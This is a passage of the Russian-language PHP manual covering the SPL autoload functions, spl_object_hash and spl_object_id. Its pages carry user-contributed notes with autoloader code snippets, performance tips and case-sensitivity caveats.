This autoload will find every class you call if you put each one in a different file.

It walks into every directory recursivly from the root you specify in the $root var.

You can specify the folders ou don't want to walk in (e.g you won't find any class in a 'view' folder on an MVC project) in the $dir_to_not_look_in array;

spl_autoload_register(function($class) {

    $root = 'my/root/path';
    $file = $class . '.php';
    $dir_to_not_look_in = array($directories, $to, $not, $look, $in);

    if(!function_exists('load')) {
      function load($dir, $file) {
            if(file_exists($dir . '/' . $file)) {
                require_once $dir . '/' . $file;
            } else {
                foreach(scandir($dir) as $value) {
                    if(is_dir($dir. '/' . $value) && !in_array($value, $dir_to_no_look_in))
                        load($dir. '/' . $value, $file);
                }
            }
        };
    }

    load($root, $file);

});
nmmm at nmmm dot nu 04-Jun-2014 02:17
spl_autoload_register() can be used with include_path.

suppose in current directory we have directory "a", and inside there is directory "test" and inside is test.php :

<?
namespace test;
class test{
        function __construct(){
                echo "Test created\n";
        }
}
?>

then we can use following code to load the class:
<?
ini_set("include_path", "./a/");

spl_autoload_register();

$t = new \test\test();
?>
hajo-p 05-Jan-2014 05:25
if you have a dir-structure like "/abc/def/ghi", your index.php lies in the top directory, but you want to use namespaces starting with "def" or "ghi":

you can switch the namespace root directory of php with e.g. set_include_path(__DIR__ . '/abc') and afterwards define + use your namespaces with the simple spl_autoload_register() function without any arguments supplied.

remember that php handlers "cli" and "cli-server" are special cases.
Kurd the Great 01-Oct-2013 04:13
if(!defined('BASE_PATH')) {
    define('BASE_PATH', dirname(__FILE__) . '/');
    require BASE_PATH . 'Autoloader.php';
    Autoloader::Register();
}

class Autoloader
{
    public static function Register() {
        return spl_autoload_register(array('Autoloader', 'Load'));
    }

    public static function Load($strObjectName) {
        if(class_exists($strObjectName) === false) {
            return false;
        }

        $strObjectFilePath = BASE_PATH . $strObjectName . '.php';

        if((file_exists($strObjectFilePath) === false) || (is_readable($strObjectFilePath) === false)) {
            return false;
        }

        require($strObjectFilePath);
    }
}
phil at propcom dot co dot uk 18-Sep-2013 08:36
It is important to note that the autoloader will NOT be called if an E_STRICT error triggers the error handler which, in turn, tries to use classes which are not yet loaded.

In this instance, you should manually load classes required by the error handler.
ali dot taheri dot m at gmail dot com 24-Jul-2013 02:23
I've made a little function that makes and registers a loader that seems to be safe and reliable although I'm not sure but it feels like a good idea to share, it took me some time to come up with it I hope it saves someone some time,

<?php

function Loader($root = "") {
    $loaderFunction = create_function('$class', 'include  "' . $root . '$class.php";');
    spl_autoload_register($loaderFunction);
}

?>

if you have a file system exactly like your directory tree this function works perfectly, I haven't tested it on unix, but on windows, the default loader fails when your webpage isn't in the root directory, this makes sure that it won't cause a problem if your webpage is on a subdir too just pass ../ or more drived ../../ as root and it will work like a charm, note that i couldn't use anonymous functions because then the $root variable wouldn't have the same scope as the Loader function, so the function must be created on the fly. this is a good example of this functions usage

your class:
root/classes/support/classic.php
<?php

    namespace classes/support;

    class classic {
         // class def
    }

?>

root/support/index.php
<?php

Loader('../');

use classes/support/classic;

$cls = new classic();
//use $cls
?>

the loader will make a function like this:
<?php

function($class) {
    include  "../$class.php";
}

//when and when the class is needed this will run the script which is indeed what we need:

include '../classes/support/classic.php';

?>

hope this helps folks;
sebastian at 34n dot de 24-May-2013 09:49
You can also use it like this:

> spl_autoload_register ( array( new AutoloaderClass, 'method') );

or in PHP > 5.3:

> spl_autoload_register ( [ new My\Namespace\Autoloader, 'method'] );

On this way you dont have to create a variable, which is used once.
a dot schaffhirt at sedna-soft dot de 07-Apr-2013 01:42
What I said here previously is only true on Windows. The built-in default autoloader that is registered when you call spl_autoload_register() without any arguments simply adds the qualified class name plus the registered file extension (.php) to each of the include paths and tries to include that file.

Example (on Windows):

include paths:
- "."
- "d:/projects/phplib"

qualified class name to load:
network\http\rest\Resource

Here's what happens:

PHP tries to load
'.\\network\\http\\rest\\Resource.php'
-> file not found

PHP tries to load
'd:/projects/phplib\\network\\http\\rest\\Resource.php'
-> file found and included

Note the slashes and backslashes in the file path. On Windows this works perfectly, but on a Linux machine, the backslashes won't work and additionally the file names are case-sensitive.

That's why on Linux the quick-and-easy way would be to convert these qualified class names to slashes and to lowercase and pass them to the built-in autoloader like so:

<?php
spl_autoload_register(
  function ($pClassName) {
    spl_autoload(strtolower(str_replace("\\", "/", $pClassName)));
  }
);
?>

But this means, you have to save all your classes with lowercase file names. Otherwise, if you omit the strtolower call, you have to use the class names exactly as specified by the file name, which can be annoying for class names that are defined with non-straightforward case like e. g. XMLHttpRequest.

I prefer the lowercase approach, because it is easier to use and the file name conversion can be done automatically on deploying.
daniel at amnistechnology dot com 17-Oct-2012 09:57
Cleverly - and usefully - I have noticed that (on PHP 5.3 at least) these autoloaders "kick in" even when you call a public static method of an as-yet-unloaded all static class.
Anonymous 03-Feb-2012 04:52
Note that when specifying the third parameter (prepend), the function will fail badly in PHP 5.2
(delphists) at (apollo) dot (lv) 01-Feb-2011 01:57
When using spl_autoload_register() with class methods, it might seem that it can use only public methods, though it can use private/protected methods as well, if registered from inside the class:
<?php

    class ClassAutoloader {
        public function __construct() {
            spl_autoload_register(array($this, 'loader'));
        }
        private function loader($className) {
            echo 'Trying to load ', $className, ' via ', __METHOD__, "()\n";
            include $className . '.php';
        }
    }

    $autoloader = new ClassAutoloader();

    $obj = new Class1();
    $obj = new Class2();

?>

Output:
--------
Trying to load Class1 via ClassAutoloader::loader()
Class1::__construct()
Trying to load Class2 via ClassAutoloader::loader()
Class2::__construct()
anthon at piwik dot org 04-Jul-2010 09:02
Think twice about throwing an exception from a registered autoloader.

If you have multiple autoloaders registered, and one (or more) throws an exception before a later autoloader loads the class, stacked exceptions are thrown (and must be caught) even though the class was loaded successfully.
sebastian dot krebs at kingcrunch dot de 24-Mar-2010 10:54
It seems, that  spl_autoload tests, if the class exists, after calling every registered loader. So it breaks the chain, if the class exists and will not call the other loaders

<?php
function a ($c) {
  echo "a\n";
  class Bla {} // Usually "include 'path/to/file.php';"
}
function b ($c) {
  echo "b\n";
}
spl_autoload_register('a');
spl_autoload_register('b');

$c = new Bla();
?>
Anonymous 16-Mar-2010 08:30
Be careful using this function on case sensitive file systems.

<?php
spl_autoload_extensions('.php');
spl_autoload_register();
?>

I develop on OS X and everything was working fine. But when releasing to my linux server, none of my class files were loading. I had to lowercase all my filenames, because calling a class "DatabaseObject" would try including "databaseobject.php", instead of "DatabaseObject.php"

I think i'll go back to using the slower __autoload() function, just so i can keep my class files readable
rayro at gmx dot de 04-Jan-2010 03:14
It is never a good idea and a unconscienable concept to create the classes in the autoload function via eval.
It should be a nice feature with these Exception, but i think anyone is able to handle it without this method although. Atm i dont realize for what this is good for...

As i might note, class_exists() will ever define the classes u only want to check for existance, and will therefor ever return true:
<?php
function EvalIsEvil($class) {
  eval('class '.$className.'{}');
}
spl_autoload_register('EvalIsEvil');
if (class_exists($s="IsMyModuleHere")) {
  // this is no module, but get there with eval()...
  return new $s();
}
?>
a dot schaffhirt at sedna-soft dot de 27-Jul-2009 07:05
Good news for PHP 5.3 users with namespaced classes:

When you create a subfolder structure matching the namespaces of the containing classes, you will never even have to define an autoloader.

<?php
    spl_autoload_extensions(".php"); // comma-separated list
    spl_autoload_register();
?>

It is recommended to use only one extension for all classes. PHP (more exactly spl_autoload) does the rest for you and is even quicker than a semantically equal self-defined autoload function like this one:

<?php
    function my_autoload ($pClassName) {
        include(__DIR__ . "/" . $pClassName . ".php");
    }
    spl_autoload_register("my_autoload");
?>

I compared them with the following setting: There are 10 folders, each having 10 subfolders, each having 10 subfolders, each containing 10 classes.

To load and instantiate these 1000 classes (parameterless no-action constructor), the user-definded autoload function approach took 50ms longer in average than the spl_autoload function in a series of 10 command-line calls for each approach.

I made this benchmark to ensure that I don't recommend something that could be called "nice, but slow" later.

Best regards,
stanlemon at mac dot com 28-Sep-2007 10:20
Editorial note: The appropriate PHP bug that requests behavior this function emulates is http://bugs.php.net/bug.php?id=42823 . This function does NOT work if there has been an array($obj, 'nonStaticMethod') registered in the autoload stack--while the autoload will be removed, it will be re-registered incorrectly.

The spl_autoload_register() method registers functions in its stack in the order that spl_autoload_register() was called, and subsequently if you want an autoload function to override previous autoload functions you will either need to unregister the previous ones or change the order of the autoload stack.

For example, say in your default implementation of an autoload function you throw an exception if the class cannot be found, or perhaps a fatal error.  Later on in your code you add a second implementation of an autoload function which will load a library that the previous method would fail on.  This will not call the second autoloader method first, but rather will continue to error out on the first method.

As previously mentioned, you can unregister the existing autoloader that errors out, or you can create a mechanism for unregistering and re-registering the autoloaders in the order you want.

Here is a sample/example of how you might consider re-registering autoloaders so that the newest autoloader is called first, and the oldest last:

<?php

// Editorial notes: Small bug and compatibility fixes
// added to the function

function spl_autoload_preregister( $autoload ) {
    // No functions currently in the stack.
    if ( ($funcs = spl_autoload_functions()) === false ) {
        spl_autoload_register($autoload);
    } else {
        // Unregister existing autoloaders...
        $compat =
            version_compare(PHP_VERSION, '5.1.2', '<=') &&
            version_compare(PHP_VERSION, '5.1.0', '>=');
        foreach ($funcs as $func) {
            if (is_array($func)) {
                // :TRICKY: There are some compatibility issues and some
                // places where we need to error out
                $reflector = new ReflectionMethod($func[0], $func[1]);
                if (!$reflector->isStatic()) {
                    throw new Exception('
                        This function is not compatible
                        with non-static object methods due to PHP Bug #44144.
                    ');
                }
                // Suprisingly, spl_autoload_register supports the
                // Class::staticMethod callback format, although call_user_func doesn't
                if ($compat) $func = implode('::', $func);
            }
            spl_autoload_unregister($func);
        }

        // Register the new one, thus putting it at the front of the stack...
        spl_autoload_register($autoload);

        // Now, go back and re-register all of our old ones.
        foreach ($funcs as $func) {
            spl_autoload_register($func);
        }
    }
}

?>

Note: I have not tested this for overhead, so I am not 100% sure what the performance implication of the above example are.
harvey dot NO_SPAM dot robin at gmail dot com 10-Feb-2007 05:54
This function is smart enough not to add the same loader twice.  This seems to work for all of the different loader formats.  Example:

<?php
class ALoader
{
  static function load($class) { return true; }
}

function anotherLoader($class) {
  return true;
}

$F = new ALoader;

spl_autoload_register(array('ALoader', 'load'));
spl_autoload_register(array('ALoader', 'load'));
spl_autoload_register(array($F, 'load'));
spl_autoload_register('anotherLoader');
spl_autoload_register('anotherLoader');
var_dump(spl_autoload_functions());

/*
 * Results on PHP5.2 CLI, linux.
 * array(2) {
 *  [0]=>
 *  array(2) {
 *    [0]=>
 *    string(7) "ALoader"
 *    [1]=>
 *    string(4) "load"
 *  }
 *  [1]=>
 *  string(13) "anotherLoader"
 * }
 */
?>
florent at mediagonale dot com 14-Nov-2006 01:19
If your autoload function is a class method, you can call spl_autoload_register with an array specifying the class and the method to run.

* You can use a static method :
<?php

class MyClass {
  public static function autoload($className) {
    // ...
  }
}

spl_autoload_register(array('MyClass', 'autoload'));
?>

* Or you can use an instance :
<?php
class MyClass {
  public function autoload($className) {
    // ...
  }
}

$instance = new MyClass();
spl_autoload_register(array($instance, 'autoload'));
?>


Отмена регистрации функции в качестве реализации метода __autoload()

  • « spl_autoload_register
  • spl_autoload »
  • PHP Manual
  • Функции SPL
  • Отмена регистрации функции в качестве реализации метода __autoload()

spl_autoload_unregister

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

spl_autoload_unregister — Отмена регистрации функции в качестве реализации метода __autoload()

Описание

spl_autoload_unregister(callable $callback): bool

Удаляет функцию из очереди автозагрузки. Если очередь была активна и после удаления функции окажется пустой, она будет автоматически деактивирована.

Когда эта функция приводит к деактивации очереди, любая функция __autoload, которая ранее существовала, не будет повторно активирована.

Список параметров

callback

Функция автозагрузки, регистрацию которой требуется снять.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

edgarortegaramirez at example dot com 18-May-2013 07:13
$functions = spl_autoload_functions();
    foreach($functions as $function) {
        spl_autoload_unregister($function);
    }

A nice way to unregister all functions.
Julien B. 07-Jul-2009 09:31
Restore the binding to __autoload after using a spl_autoload_register() call

<?php
spl_autoload_register(array('Doctrine', 'autoload'));

// some process

spl_autoload_unregister(array('Doctrine', 'autoload'));

// but now the old __autoload is not triggered anymore
// you need to use :
spl_autoload_register('__autoload');

// but this will throw a LogicExeption if the __autoload
// function is not defined yet, so use:
function autoload__ ( $className ) {
    if ( function_exists('__autoload'))
        __autoload($className);
}

spl_autoload_register('autoload__');

?>

So you can define your old __autoload in another file for example

May helps some folks in this catch 22


Реализация по умолчанию метода __autoload()

  • « spl_autoload_unregister
  • spl_classes »
  • PHP Manual
  • Функции SPL
  • Реализация по умолчанию метода __autoload()

spl_autoload

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

spl_autoload — Реализация по умолчанию метода __autoload()

Описание

spl_autoload(string $class, ?string $file_extensions = null): void

Эта функция представляет из себя базовую реализацию метода __autoload(). Если она не указана и spl_autoload_register() вызывается без каких-либо параметров, то при каждом последующем вызове __autoload() будет использоваться именно эта функция.

Список параметров

class

Имя класса (и пространства имён), которое требуется загрузить.

file_extensions

По умолчанию функция будет искать файлы с расширениями .inc и .php. по всем include-путям, где может располагаться искомый класс.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

Вызывает исключение LogicException, если класс не найден и отсутствуют другие зарегистрированные автозагрузчики.

Список изменений

Версия | Описание
8.0.0 | file_extensions теперь допускает значение null.

User Contributed Notes

theking2 at king dot ma 09-Jul-2022 10:41
Both namespaces and class names are case insensitive. This can cause problems with autoloading in OS/filesystems that _are_

Consider this code:
<?php declare(strict_types=1);
set_include_path(get_include_path() . PATH_SEPARATOR . 'class/');
spl_autoload_extensions('.class.php');
spl_autoload_register();

$foobar = new \foo\bar();
?>

and a class file /class/foo/bar.class.php:
<?php declare(strict_types=1);
namespace Foo;

class Bar {
  public function __construct() {
    echo 'Map constructed';
  }
}
?>

this will work fine regardless of a case sensitive or not case sensitive OS/FS.

A file called ./class/Foo/Bar.class.php will only be found on a not case sensitive situation as the default class loader will mb_strtolower() the class name to find the class filename.

Btw. this content of a class file will be equivalent to the one above:
<?php declare(strict_types=1);
namespace foo;

class bar {
  public function __construct() {
    echo 'Map constructed';
  }
}
?>

The class /foo/bar and /Foo/Bar are one and the same thing.
EVODelavega 15-Apr-2014 08:39
Just thought I'd react to simast at gmail dot com's note: While he has a point in saying C outperforms PHP, his suggestion is micro-optimization. I'm not 100% against micro-optimizing code, but if you do, go all the way:

<?php

    // Your custom class dir
    define('CLASS_DIR', 'class/')

    // Add your class dir to include path
    set_include_path(get_include_path().PATH_SEPARATOR.CLASS_DIR);

This adds the include path to THE END of the paths PHP will scan for the class file, resulting in a bunch of misses (file-not-found's) before actually looking into the CLASS_DIR.
A more sensible approach, then would be to write

    set_include_path(
        CLASS_DIR.
        PATH_SEPARATOR,
        get_include_path()
    );
Philip 05-Nov-2013 03:05
The documentation is a little unclear when it says: "The lowercased name of the class (and namespace) being instantiated".

What it actually means is that the argument can be in whatever case you want, but it will be converted to lowercase before PHP starts looking for files. This is probably because in PHP, class names are case-insensitive (as well as function names and namespaces) so it needs to convert to some canonical format.
contato at felipebarth dot com dot br 23-Sep-2012 09:14
<?php
/*
* defined function responsible for loading class,
* replacing the old __ autoload.
* ROOT is constant of the path root of the system
*/
spl_autoload_extensions('.class.php');
spl_autoload_register('loadClasses');

 function loadClasses($className)
 {

    if( file_exists(ROOT_DIR.DS.'controller/'.$className.'.class.php' ) ){
        set_include_path(ROOT_DIR.DS.'controller'.DS);
        spl_autoload($className);
    }
    elseif( file_exists('model/'.$className.'.class.php' ) ){
        set_include_path(ROOT_DIR.DS.'model'.DS);
        spl_autoload($className);
    }elseif( file_exists('view/'.$className.'.class.php' ) ){
        set_include_path(ROOT_DIR.DS.'view'.DS);
        spl_autoload($className    );
    }else
    {
        set_include_path(ROOT_DIR.DS.'lib'.DS);
        spl_autoload($className    );
    }
 }
?>
Ivan Stojmenovic 06-Jun-2012 01:19
One small example that shows how you can use spl_autoload function in your MVC, Framewrk's applications. For example, will use the Loader class.

<?php

 class Loader
 {

    /**
     * Controller Directory Path
     *
     * @var Array
     * @access protected
     */
    protected $_controllerDirectoryPath = array();

    /**
     * Model Directory Path
     *
     * @var Array
     * @access protected
     */
    protected $_modelDirectoryPath = array();

    /**
     * Library Directory Path
     *
     * @var Array
     * @access protected
     */
    protected $_libraryDirectoryPath = array();

    /**
     * Constructor
     * Constant contain my full path to Model, View, Controllers and Lobrary-
     * Direcories.
     *
     * @Constant MPATH,VPATH,CPATH,LPATH
     */

    public function __construct()
    {
        $this->modelDirectoryPath      = MPATH;
        $this->viewDirectoryPath        = VPATH;
        $this->controllerDirectoryPath = CPATH;
        $this->libraryDirectoryPath     = LPATH;

        spl_autoload_register(array($this,'load_controller'));
        spl_autoload_register(array($this,'load_model'));
        spl_autoload_register(array($this,'load_library'));

        log_message('debug',"Loader Class Initialized");
    }

    /**
     *-----------------------------------------------------
     * Load Library
     *-----------------------------------------------------
     * Method for load library.
     * This method return class object.
     *
     * @library String
     * @param String
     * @access public
     */
    public function load_library($library, $param = null)
    {
        if (is_string($library)) {
            return $this->initialize_class($library);
        }
        if (is_array($library)) {
            foreach ($library as $key) {
                return $this->initialize_class($library);
            }
        }
    }

    /**
     *-----------------------------------------------------
     * Initialize Class
     *-----------------------------------------------------
     * Method for initialise class
     * This method return new object.
     * This method can initialize more class using (array)
     *
     * @library String|Array
     * @param String
     * @access public
     */
    public function initialize_class($library)
    {
        try {
            if (is_array($library)) {
                foreach($library as $class) {
                    $arrayObject =  new $class;
                }
                return $this;
            }
            if (is_string($library)) {
                $stringObject = new $library;
            }else {
                throw new ISException('Class name must be string.');
            }
            if (null == $library) {
                throw new ISException('You must enter the name of the class.');
            }
        } catch(Exception $exception) {
            echo $exception;
        }
    }

    /**
     * Autoload Controller class
     *
     * @param  string $class
     * @return object
     */

    public function load_controller($controller)
    {
        if ($controller) {
            set_include_path($this->controllerDirectoryPath);
            spl_autoload_extensions('.php');
            spl_autoload($class);
        }
    }

      /**
     * Autoload Model class
     *
     * @param  string $class
     * @return object
     */

    public function load_models($model)
    {
        if ($model) {
            set_include_path($this->modelDirectoryPath);
            spl_autoload_extensions('.php');
            spl_autoload($class);
        }
    }

      /**
     * Autoload Library class
     *
     * @param  string $class
     * @return object
     */

    public function load_library($library)
    {
        if ($library) {
            set_include_path($this->libraryDirectoryPath);
            spl_autoload_extensions('.php');
            spl_autoload($class);
        }
    }

 }

 ?>
Luke Scott 19-Apr-2011 07:03
If you want to make the best use out of autoload with an APC cache don't use spl_autoload. It uses relative paths and thus will perform a stat even with apc.stat=0 (either that, or it doesn't work at all).

Instead make a custom function and use require/include with an absolute path (register it with spl_autoload_register).

Do NOT use *_once functions or a relative path. This will fail harder than spl_autoload.

Also avoid using file_exists and is_file. This will also perform a stat.

Why are stats bad? Because they access the file system. PHP does have a stat cache that helps, but it defeats the purpose of apc.stat = 0.

It's also good to keep in mind that it's good to keep your custom autoload function simple. This is my Loader class:

<?php

class Loader
{
    public static function registerAutoload()
    {
        return spl_autoload_register(array(__CLASS__, 'includeClass'));
    }

    public static function unregisterAutoload()
    {
        return spl_autoload_unregister(array(__CLASS__, 'includeClass'));
    }

    public static function includeClass($class)
    {
        require(PATH . '/' . strtr($class, '_\\', '//') . '.php');
    }
}

?>

Also want to point out that APC does an optimization with require/include (not *_once) with relative paths if require/include is done in the global scope (and isn't conditional). So it would be a good idea to explicitly include files you know you're going to use on every request (but don't use *_once). You could, for example, add a "registerProfiledAutoload" to the above class and keep track of what you're including to help you determine what you could explicitly include (during development, not production). The key is try not to make heavy use out of autoload.

If you must use relative paths and don't care about having to lower-case your file-names then spl_autoload works great.
daniel 05-Jul-2010 07:58
Note this function will LOWERCASE the class names its looking for, dont be confused when it cant find Foo_Bar.php

also, unlike most other autoloader code snippets, this function DOES NOT translate underscores to slashes.

class Foo_Bar {}
will load foo_bar.php and will not try to load foo/bar.php

You can get around this with
spl_autoload_register(function($class) { return spl_autoload(str_replace('_', '/', $class));});
simast at gmail dot com 07-Aug-2009 10:22
Note, that the default autoload implementation is written in C land and is always slightly faster then your native PHP one.

Here is a trick to use default implementation with any configuration:

<?php

    // Your custom class dir
    define('CLASS_DIR', 'class/')

    // Add your class dir to include path
    set_include_path(get_include_path().PATH_SEPARATOR.CLASS_DIR);

    // You can use this trick to make autoloader look for commonly used "My.class.php" type filenames
    spl_autoload_extensions('.class.php');

    // Use default autoload implementation
    spl_autoload_register();
?>

This also works with namespaces out of the box. So you can write code like "use My\Name\Object" and it will map to "class/My/Name/Object.class.php" file path!
safak_ozpinar at NOSPAM dot yahoo dot com 25-Sep-2007 07:17
Note that, the orders of file extensions is important for performance. You should make the priority of your favourite file extension higest or use only one extension for your class files. Check out this example:

Some class files:

ClassA.php
<?php class ClassA { var $val = 'Hello from class "ClassA"'; } ?>
ClassB.php
<?php class ClassB { var $val = 'Hello from class "ClassB"'; } ?>
ClassC.php
<?php class ClassC { var $val = 'Hello from class "ClassC"'; } ?>
ClassD.php
<?php class ClassD { var $val = 'Hello from class "ClassD"'; } ?>
ClassE.php
<?php class ClassE { var $val = 'Hello from class "ClassE"'; } ?>

1. Simple:
<?php
// default priority: .inc .php
for($n=65; $n<70; $n++) {
    $className = 'Class'.chr($n);
    spl_autoload($className);
    $ins = new $className;
    echo $ins->val.'<br>';
}
// 4.2 miliseconds
?>

2. Change priority:
<?php
spl_autoload_extensions('.php,.inc');
// new priority: .php .inc
for($n=65; $n<70; $n++) {
    $className = 'Class'.chr($n);
    spl_autoload($className);
    $ins = new $className;
    echo $ins->val.'<br>';
}
// 1.4 miliseconds
?>

Or you can use this simple function that runs a bit faster for the extensions with lower priority :)
<?php
function my_autoload($className, $extList='.inc,.php') {
    $ext = explode(',',$extList);
    foreach($ext as $x) {
        $fname = $className.$x;
        if(@file_exists($fname)) {
            require_once($fname);
            return true;
        }
    }
    return false;
}

for($n=65; $n<70; $n++) {
    $className = 'Class'.chr($n);
    my_autoload($className);
    $ins = new $className;
    echo $ins->val.'<br>';
}
// 2.6 miliseconds
?>
---
Safak Ozpinar - Istanbul University, Computer Engineering


Возвращает доступные классы SPL

  • « spl_autoload
  • spl_object_hash »
  • PHP Manual
  • Функции SPL
  • Возвращает доступные классы SPL

spl_classes

(PHP 5, PHP 7, PHP 8)

spl_classes — Возвращает доступные классы SPL

Описание

spl_classes(): array

Эта функция возвращает массив c доступными в настоящее время классами SPL.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив (array) c доступными в настоящее время классами SPL.

Примеры

Пример #1 Пример использования spl_classes()

<?php

print_r(spl_classes());

?>

Результатом выполнения данного примера будет что-то подобное:

Array
(
    [ArrayObject] => ArrayObject
    [ArrayIterator] => ArrayIterator
    [CachingIterator] => CachingIterator
    [RecursiveCachingIterator] => RecursiveCachingIterator
    [DirectoryIterator] => DirectoryIterator
    [FilterIterator] => FilterIterator
    [LimitIterator] => LimitIterator
    [ParentIterator] => ParentIterator
    [RecursiveDirectoryIterator] => RecursiveDirectoryIterator
    [RecursiveIterator] => RecursiveIterator
    [RecursiveIteratorIterator] => RecursiveIteratorIterator
    [SeekableIterator] => SeekableIterator
    [SimpleXMLIterator] => SimpleXMLIterator
)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает хеш-идентификатор для объекта

  • « spl_classes
  • spl_object_id »
  • PHP Manual
  • Функции SPL
  • Возвращает хеш-идентификатор для объекта

spl_object_hash

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

spl_object_hash — Возвращает хеш-идентификатор для объекта

Описание

spl_object_hash(object $object): string

Функция возвращает уникальный идентификатор для заданного объекта. Этот идентификатор можно использовать в качестве хеш-ключа для хранения объектов или для идентификации объектов, пока объект не будет уничтожен. Как только объект будет уничтожен, его хеш может быть повторно использован для других объектов. Поведение похоже на функцию spl_object_id().

Список параметров

object

Какой-либо объект.

Возвращаемые значения

Уникальная строка символов для каждого существующего на данный момент объекта и всегда одинаковая для каждого конкретного объекта.

Примеры

Пример #1 Пример использования spl_object_hash()

<?php
$id = spl_object_hash($object);
$storage[$id] = $object;
?>

Примечания

Замечание:

После уничтожения объекта, его хеш-идентификатор может быть использован для других объектов.

Замечание:

Хеши объектов следует сравнивать на идентичность с помощью === и !==, поскольку возвращаемый хеш может быть числовой строкой. Например, 0000000000000e600000000000000000.

Смотрите также

  • spl_object_id() - Получить целочисленный идентификатор объекта

User Contributed Notes

Hayley Watson 14-Apr-2023 12:17
This function is slightly older than spl_object_id. Its output is more complex but doesn't actually provide any more information than the newer function. It used to be a lot more complex (without being any more informative) but now it's merely the object's ID number written in hex with a lot of padding to maintain the old format. spl_object_id just gives the ID number as a plain integer.

You're probably better off using spl_object_id, and thinking about migrating if you're already using spl_object_hash; there is a chance this function will be deprecated and subsequently removed in the future.
A simple developer 06-Apr-2023 08:10
Attention when comparing object hashes in PHP >= 8.1

In PHP 8.1 (I think) the output of spl_object_hash() changed (see pull request https://github.com/php/php-src/pull/7010).
This lead to a strange misbehaviour of our application, as we stored object hashes in an array to check, if we processed object already. A simple in_array() check returned true, even though the current object hash was NOT actually in array.

Actual problem: New hashes are much more simple and can be something like "0000000000000e600000000000000000" or "0000000000000e490000000000000000", which PHP will interpret as numeric (exponent).
in_array() will compare non type-safe by default and will interpret named hashes as "0".
DimeCadmium 18-Jun-2018 03:45
For those who believe this function is misnamed, I would like to direct you to https://en.wikipedia.org/wiki/Hash_function . Also, for those who think it's misnamed and supply a comparison to Python, I would like to direct you to https://docs.python.org/2/library/functions.html#hash which does the same thing as this function. (From Python's data-model docs: "User-defined classes have __cmp__() and __hash__() methods by default; ... x.__hash__() returns a result derived from id(x)." - id(x) returns the memory address of the object.)

The cryptographic hash functions you are familiar with, like MD5 or SHA1, are named hash functions because they have a similar design goal: low chance of collisions.
aa dot vasilenko at gmail dot com 03-Jan-2018 07:21
Please note that since PHP 7.2 there's new function available spl_object_id() which returns int instead of string. It's (supposed to be) more performant. Due to lack of documentation I recommend you reading the PR https://github.com/php/php-src/pull/2611
Hayleu Watson 06-Aug-2017 10:55
The "hash" mentioned in the name of this function refers to the storage structure known as a "hash table", not to any sort of "message digest". The string returned by this function is little more than the object's address in the (hash) table PHP maintains of all existing objects.
Hayley Watson 06-Aug-2017 10:26
The "hash" mentioned in this function is used in the sense of the storage structure known as a "hash table", not in the sense of "message digest".
Hayley Watson 06-Aug-2017 10:26
The "hash" mentioned in this function is used in the sense of the storage structure known as a "hash table", not in the sense of "message digest".
Ulrich Eckhardt 27-Jun-2017 07:56
Calling this a hash is very misleading:

1. This function gives an object identifier (ID), which uniquely identifies the object for its whole lifetime. This is similar to the address of an object in C or the id() function in Python. I'm sure other languages have similar constructs.
2. This is not a hash and has nothing to do with it. A hash takes data and algorithmically reduces that data to some kind of scalar value. The only guarantee is that two equal inputs provide the same output, but not that two different inputs provide different outputs (hint: hash collisions). spl_object_hash() guarantees different outputs for non-identical objects though.
3. As someone mentioned already, this does not look at the content of the object. If you consider the difference between equality and identity, it only allows determining identity. If you serialize and unserialize an object, it will not be identical to its former self, but it will be equal, just to give an example. If you want a key to use in a response cache, using this function on the request is not only useless, because equal requests have different IDs, but possibly even harmful, because when a request object is garbage collected, its ID can be reused.
mjs at beebo dot org 16-May-2013 11:20
Note that given two different objects spl_object_hash() can return values that look very similar, and in fact both the most significant *and* least significant digits are likely to be identical!  e.g. "000000003cc56d770000000007fa48c5" and "000000003cc56d0d0000000007fa48c5".

Therefore (especially if using this function for debugging), you may wish to pass the hash into a cryptographic hash function like md5() to get to facilitate visual comparisons, and make it more likely that the first few or last few digits are unique.

md5("000000003cc56d770000000007fa48c5") -> "619a799747d348fa1caf181a72b65d9f"

md5("000000003cc56d0d0000000007fa48c5") -> "ae964bc912281e7804fe5a88b4546cb2"
planetbeing 05-Jul-2007 04:40
Note that the contents (properties) of the object are NOT hashed by the function, merely its internal handle and handler table pointer. This is sufficient to guarantee that any two objects simultaneously co-residing in memory will have different hashes. Uniqueness is not guaranteed between objects that did not reside in memory simultaneously, for example:

var_dump(spl_object_hash(new stdClass()), spl_object_hash(new stdClass()));

Running this alone will usually generate the same hashes, since PHP reuses the internal handle for the first stdClass after it has been dereferenced and destroyed when it creates the second stdClass.


Получить целочисленный идентификатор объекта

  • « spl_object_hash
  • Обработка файлов »
  • PHP Manual
  • Функции SPL
  • Получить целочисленный идентификатор объекта

spl_object_id

(PHP 7 >= 7.2.0, PHP 8)

spl_object_id — Получить целочисленный идентификатор объекта

Описание

spl_object_id(object $object): int

Эта функция возвращает уникальный идентификатор объекта. Идентификатор объекта уникален в течение жизни объекта. Когда объект будет уничтожен, его идентификатор может быть повторно использован для других объектов. Это поведение похоже на spl_object_hash().

Список параметров

object

Любой объект.

Возвращаемые значения

Целочисленный идентификатор, который является уникальным для каждого существующего объекта в текущее время и всегда одинаковый для каждого объекта.

Примеры

Пример #1 Пример использования spl_object_id()

<?php
$id = spl_object_id($object);
$storage[$id] = $object;
?>

Примечания

Замечание:

Когда объект будет уничтожен, его идентификатор может быть повторно использован для других объектов.

User Contributed Notes

Daniel 04-Sep-2020 07:10
Simple example:

<?php
    class Test {}

    $test1 = new Test;
    $test1_id = spl_object_id( $test1 );
    $test2 = new Test;
    $test2_id = spl_object_id( $test2 );

    var_dump( $test1_id === $test2_id );
    var_dump( $test1_id );
    var_dump( $test2_id );
?>

Returns
bool(false)
int(5288)
int(5287)


Обработка файлов

Содержание

  • SplFileInfo
  • SplFileObject
  • SplTempFileObject

SPL обеспечивает несколько классов для работы с файлами.

User Contributed Notes

There are no user contributed notes for this page.


Класс SplFileInfo

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

Введение

Класс SplFileInfo предлагает высокоуровневый объектно-ориентированный интерфейс к информации для отдельного файла.

Обзор классов

class SplFileInfo implements Stringable {
/* Методы */
public __construct(string $filename)
public getATime(): int|false
public getBasename(string $suffix = ""): string
